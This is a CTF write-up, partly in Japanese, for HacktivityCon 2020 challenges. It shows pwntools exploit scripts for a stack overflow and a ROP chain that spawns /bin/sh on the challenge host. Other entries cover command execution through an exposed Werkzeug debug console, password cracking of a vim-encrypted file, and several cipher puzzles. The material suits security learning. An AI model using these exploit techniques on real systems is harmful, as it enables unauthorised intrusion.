HacktivityCon CTF: Write up
Binary Exploitation
Pancakes
$ file pancakes pancakes: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b2b6e7d0e06f31855dfe917cbe93c8104fd12ef8, not stripped
$ checksec ./pancakes [*] '/home/kali/hacktivitycon_CTF_2020/Pancakes/pancakes' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
$ ./pancakes Welcome to the pancake stacker! How many pancakes do you want? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Cooking your cakes..... Smothering them in butter..... Drowning them in syrup..... They're ready! Our waiters are bringing them out now... _____________ / ___ \ || \__\ || || _ || |\ / \ /| \ \___/ ^ \___/ / \\____/_^_\____//_ __\\____/_^_\____// \ / \____/_^_\____/ \ \ // , / \\___________ ____ / \_______/ Segmentation fault
gdb-peda$ pdisas secret_recipe Dump of assembler code for function secret_recipe: 0x000000000040098b <+0>: push rbp 0x000000000040098c <+1>: mov rbp,rsp 0x000000000040098f <+4>: sub rsp,0xa0 0x0000000000400996 <+11>: mov QWORD PTR [rbp-0x8],0x0 0x000000000040099e <+19>: lea rsi,[rip+0x2d3] # 0x400c78 0x00000000004009a5 <+26>: lea rdi,[rip+0x2ce] # 0x400c7a 0x00000000004009ac <+33>: call 0x4006d0 <fopen@plt> 0x00000000004009b1 <+38>: mov QWORD PTR [rbp-0x10],rax 0x00000000004009b5 <+42>: mov rdx,QWORD PTR [rbp-0x10] 0x00000000004009b9 <+46>: lea rax,[rbp-0xa0] 0x00000000004009c0 <+53>: mov rcx,rdx 0x00000000004009c3 <+56>: mov edx,0x80 0x00000000004009c8 <+61>: mov esi,0x1 0x00000000004009cd <+66>: mov rdi,rax 0x00000000004009d0 <+69>: call 0x400690 <fread@plt> 0x00000000004009d5 <+74>: mov QWORD PTR [rbp-0x8],rax 0x00000000004009d9 <+78>: lea rdx,[rbp-0xa0] 0x00000000004009e0 <+85>: mov rax,QWORD PTR [rbp-0x8] 0x00000000004009e4 <+89>: add rax,rdx 0x00000000004009e7 <+92>: mov BYTE PTR [rax],0x0 0x00000000004009ea <+95>: lea rax,[rbp-0xa0] 0x00000000004009f1 <+102>: mov rdi,rax 0x00000000004009f4 <+105>: call 0x400680 <puts@plt> 0x00000000004009f9 <+110>: nop 0x00000000004009fa <+111>: leave 0x00000000004009fb <+112>: ret
gdb-peda$ patto ApAATAAqAA ApAATAAqAA found at offset: 152
from pwn import * e = ELF('./pancakes') #p = process('./pancakes') p = remote('jh2i.com',50021) ret_addr = 0x0040065e flag_addr = e.symbols['secret_recipe'] payload = 'A'*152 payload += p64(ret_addr) payload += p64(flag_addr) print p.recvuntil('do you want?\n') p.sendline(payload) p.interactive()
$ python solve.py [*] '/home/kali/hacktivitycon_CTF_2020/Pancakes/pancakes' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to jh2i.com on port 50021: Done Welcome to the pancake stacker! How many pancakes do you want? [*] Switching to interactive mode Cooking your cakes..... Smothering them in butter..... Drowning them in syrup..... They're ready! Our waiters are bringing them out now... _____________ / ___ \ || \__\ || || _ || |\ / \ /| \ \___/ ^ \___/ / \\____/_^_\____//_ __\\____/_^_\____// \ / \____/_^_\____/ \ \ // , / \\___________ ____ / \_______/ flag{too_many_pancakes_on_the_stack}
sad
$ file sad sad: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=603eb2dd7bf8d6f483505b9e686b9163e6f69d14, for GNU/Linux 3.2.0, not stripped
kali@kali:~/hacktivitycon_CTF_2020/Statics_and_Dynamics$ checksec sad [*] '/home/kali/hacktivitycon_CTF_2020/Statics_and_Dynamics/sad' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
gdb-peda$ patto HA%dA%3A%I HA%dA%3A%I found at offset: 264
from pwn import * from struct import pack e = ELF('./sad') #p = process('./sad') p = remote('jh2i.com',50002) # Padding goes here payload = 'A'*264 payload += pack('<Q', 0x0000000000407aae) # pop rsi ; ret payload += pack('<Q', 0x00000000004ae0e0) # @ .data payload += pack('<Q', 0x000000000043f8d7) # pop rax ; ret payload += '/bin//sh' payload += pack('<Q', 0x000000000046b8a5) # mov qword ptr [rsi], rax ; ret payload += pack('<Q', 0x0000000000407aae) # pop rsi ; ret payload += pack('<Q', 0x00000000004ae0e8) # @ .data + 8 payload += pack('<Q', 0x000000000043a090) # xor rax, rax ; ret payload += pack('<Q', 0x000000000046b8a5) # mov qword ptr [rsi], rax ; ret payload += pack('<Q', 0x000000000040187a) # pop rdi ; ret payload += pack('<Q', 0x00000000004ae0e0) # @ .data payload += pack('<Q', 0x0000000000407aae) # pop rsi ; ret payload += pack('<Q', 0x00000000004ae0e8) # @ .data + 8 payload += pack('<Q', 0x000000000040177f) # pop rdx ; ret payload += pack('<Q', 0x00000000004ae0e8) # @ .data + 8 payload += pack('<Q', 0x000000000043a090) # xor rax, rax ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x00000000004618b0) # add rax, 1 ; ret payload += pack('<Q', 0x000000000040120f) # syscall p.sendline(payload) p.interactive()
$ python solve.py [*] '/home/kali/hacktivitycon_CTF_2020/Statics_and_Dynamics/sad' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to jh2i.com on port 50002: Done [*] Switching to interactive mode This is a really big binary. Hope you have everything you need ;) $ id uid=1000(challenge) gid=1000(challenge) groups=1000(challenge) $ ls flag.txt sad $ cat flag.txt flag{radically_statically_roppingly_vulnerable}
Web
Ladybug
$ nikto -h http://one.jh2i.com:50018/ - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 35.239.59.59 + Target Hostname: one.jh2i.com + Target Port: 50018 + Start Time: 2020-07-30 22:09:22 (GMT-4) --------------------------------------------------------------------------- + Server: Werkzeug/1.0.1 Python/3.6.9 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + Allowed HTTP Methods: GET, HEAD, OPTIONS + OSVDB-3092: /console: This might be interesting...
/consoleディレクトリが怪しいのでアクセスすると
subprocessモジュールを利用してLinuxのコマンドを実行します。
>>> proc = subprocess.run(["ls"],stdout = subprocess.PIPE, stderr = subprocess.PIPE) >>> print(proc.stdout.decode("utf8")) flag.txt main.py requirements.txt templates >>> proc = subprocess.run(["cat","flag.txt"],stdout = subprocess.PIPE, stderr = subprocess.PIPE) >>> print(proc.stdout.decode("utf8")) flag{weurkzerg_the_worst_kind_of_debug}
Warmups
CaesarMirror
パっと見、ヴィジュネル暗号っぽいの上記のサイトで復号化してみます。
半分は正しく、半分はおかしいので右半分は文章が逆になっていると予想しpythonで正しくなおすスクリプトを書きます。
ss = ['Bu obl! Jbj, guvf jnezhc punyyratr fher','bf V !erugrtbg ghc bg ahs sb gby n fnj', 'qrsvavgryl nofbyhgryl nyjnlf ybir gelvat','ftavug rivgnibaav qan jra ch xavug bg', 'gb qb jvgu gur irel onfvp, pbzzba naq','sb genc gfevs ruG !frhdvauprg SGP pvffnyp', 'lbhe synt vf synt{whyvhf_ naq gung vf n','tavuglerir gba fv gv gho gengf gnret', 'gung lbh jvyy arrq gb fbyir guvf punyyratr.','qan rqvu bg tavleg rxvy g\'abq V', 'frcnengr rnpu cneg bs gur synt. Gur frpbaq','bq hbl gho _n_av_ fv tnys rug sb genc', 'arrq whfg n yvggyr ovg zber. Jung rknpgyl','rxnz qan leg bg reru rqhypav rj qyhbuf', 'guvf svyyre grkg ybbx zber ratntvat naq','?fravyjra qqn rj qyhbuF ?ryvujugebj', 'Fubhyq jr nqq fcnprf naq gel naq znxr vg','uthbar fv fravy lanz jbU ?ynpvegrzzlf', 'gb znxr guvf svyyre grkg ybbx oryvrinoyr? N','n avugvj ferggry sb renhdf qvybf', 'fvzcyr, zbabfcnpr-sbag grkg svyr ybbxf tbbq','rug gn gfbzyn rj reN .rz bg uthbar', 'raq? Vg ybbxf yvxr vg! V ubcr vg vf tbbq.','}abvgprysre fv tnys ehbl sb genc qevug ruG', 'naq ng guvf cbvag lbh fubhyq unir rirelguvat','ebs tnys fvug gvzohf bg qrra hbl gnug', 'cbvagf. Gur ortvaavat vf znexrq jvgu gur','rpneo lyehp tavarcb rug qan kvsrec tnys', 'naq vg vapyhqrf Ratyvfu jbeqf frcnengrq ol','lyehp tavfbyp n av qar bg ,frebpferqah', 'oenpr. Jbj! Abj GUNG vf n PGS! Jub xarj jr','fvug bg erucvp enfrnp rug xyvz qyhbp', 'rkgrag?? Fbzrbar trg gung Whyvhf','!ynqrz n lht enfrnP'] for i in range(len(ss)): if i%2==0: print(ss[i]+' ',end='') else: tmp=ss[i] print(tmp[::-1])
% python3 test.py Bu obl! Jbj, guvf jnezhc punyyratr fher jnf n ybg bs sha gb chg gbtrgure! V fb qrsvavgryl nofbyhgryl nyjnlf ybir gelvat gb guvax hc arj naq vaabingvir guvatf gb qb jvgu gur irel onfvp, pbzzba naq pynffvp PGS grpuavdhrf! Gur svefg cneg bs lbhe synt vf synt{whyvhf_ naq gung vf n terng fgneg ohg vg vf abg rirelguvat gung lbh jvyy arrq gb fbyir guvf punyyratr. V qba'g yvxr gelvat gb uvqr naq frcnengr rnpu cneg bs gur synt. Gur frpbaq cneg bs gur synt vf _va_n_ ohg lbh qb arrq whfg n yvggyr ovg zber. Jung rknpgyl fubhyq jr vapyhqr urer gb gel naq znxr guvf svyyre grkg ybbx zber ratntvat naq jbegujuvyr? Fubhyq jr nqq arjyvarf? Fubhyq jr nqq fcnprf naq gel naq znxr vg flzzrgevpny? Ubj znal yvarf vf rabhtu gb znxr guvf svyyre grkg ybbx oryvrinoyr? N fbyvq fdhner bs yrggref jvguva n fvzcyr, zbabfcnpr-sbag grkg svyr ybbxf tbbq rabhtu gb zr. Ner jr nyzbfg ng gur raq? Vg ybbxf yvxr vg! V ubcr vg vf tbbq. Gur guveq cneg bs lbhe synt vf ersyrpgvba} naq ng guvf cbvag lbh fubhyq unir rirelguvat gung lbh arrq gb fhozvg guvf synt sbe cbvagf. Gur ortvaavat vf znexrq jvgu gur synt cersvk naq gur bcravat pheyl oenpr naq vg vapyhqrf Ratyvfu jbeqf frcnengrq ol haqrefpberf, gb raq va n pybfvat pheyl oenpr. Jbj! Abj GUNG vf n PGS! Jub xarj jr pbhyq zvyx gur pnrfne pvcure gb guvf rkgrag?? Fbzrbar trg gung Whyvhf Pnrfne thl n zrqny!
あとはこれを復号するだけです。
Oh boy! Wow, this warmup challenge sure was a lot of fun to put together! I so definitely absolutely always love trying to think up new and innovative things to do with the very basic, common and classic CTF techniques! The first part of your flag is flag{julius_ and that is a great start but it is not everything that you will need to solve this challenge. I don't like trying to hide and separate each part of the flag. The second part of the flag is _in_a_ but you do need just a little bit more. What exactly should we include here to try and make this filler text look more engaging and worthwhile? Should we add newlines? Should we add spaces and try and make it symmetrical? How many lines is enough to make this filler text look believable? A solid square of letters within a simple, monospace-font text file looks good enough to me. Are we almost at the end? It looks like it! I hope it is good. The third part of your flag is reflection} and at this point you should have everything that you need to submit this flag for points. The beginning is marked with the flag prefix and the opening curly brace and it includes English words separated by underscores, to end in a closing curly brace. Wow! Now THAT is a CTF! Who knew we could milk the caesar cipher to this extent?? Someone get that Julius Caesar guy a medal!
InternetCattos
$ nc jh2i.com 50003 Oh, we already sent the flag! Did you see it?
といわれるのでWiresharkで通信をみたらありました。
Hexgedit
上記のサイトを利用してOCRで画像の数字を認識させて、From HEXするだけです。
Vencryption
$ file vencrypted.txt vencrypted.txt: Vim encrypted file data
暗号化されているようですがよくわからないので適当にググっていると
このスクリプトで復号化できそうです。
$ python vimdecrypt/vimdecrypt.py vencrypted.txt --dictionary /usr/share/wordlists/rockyou.txt probable password: computer
$ python vimdecrypt/vimdecrypt.py vencrypted.txt Password: flag{sometimes_it_really_do_be_like_that_tho}
Scripting
Misdirection
flag.phpにアクセスするとひたすらリダイレクトされます。
しかし、burpでよくよく通信をみてみるとflagが1文字ずつ渡されすぐにリダイレクトされているようなのでそれらを合わせるだけです。
flag{http_302_point_you_in_the_right_redirection}
Prophecy
from pwn import * res = [] while True: p = remote('jh2i.com',50012) for tmp in res: p.recvuntil('> ') p.sendline(tmp) p.sendline('1') p.recvuntil('T N U M B E R W A S ') ans = p.recvline().rstrip('\n') res.append(ans) print res print(res)
[+] Opening connection to jh2i.com on port 50012: Done ['99126', '76106', '32378', '49560', '87935', '17366', '36639', '33561', '51241', '24009', '82718', '65774', '87030', '53097', '53885', '29931', '10890', '20583', '46190', '83643']
from pwn import * p = remote('jh2i.com',50012) res = ['99126', '76106', '32378', '49560', '87935', '17366', '36639', '33561', '51241', '24009', '82718', '65774', '87030', '53097', '53885', '29931', '10890', '20583', '46190', '83643'] for i in res: print p.recvuntil('> ') print i p.sendline(i) p.interactive()
[*] Switching to interactive mode ============================================================================== Y O U T O O C A N S E E T H E F U T U R E ============================================================================== flag{does_this_count_as_artificial_intelligence}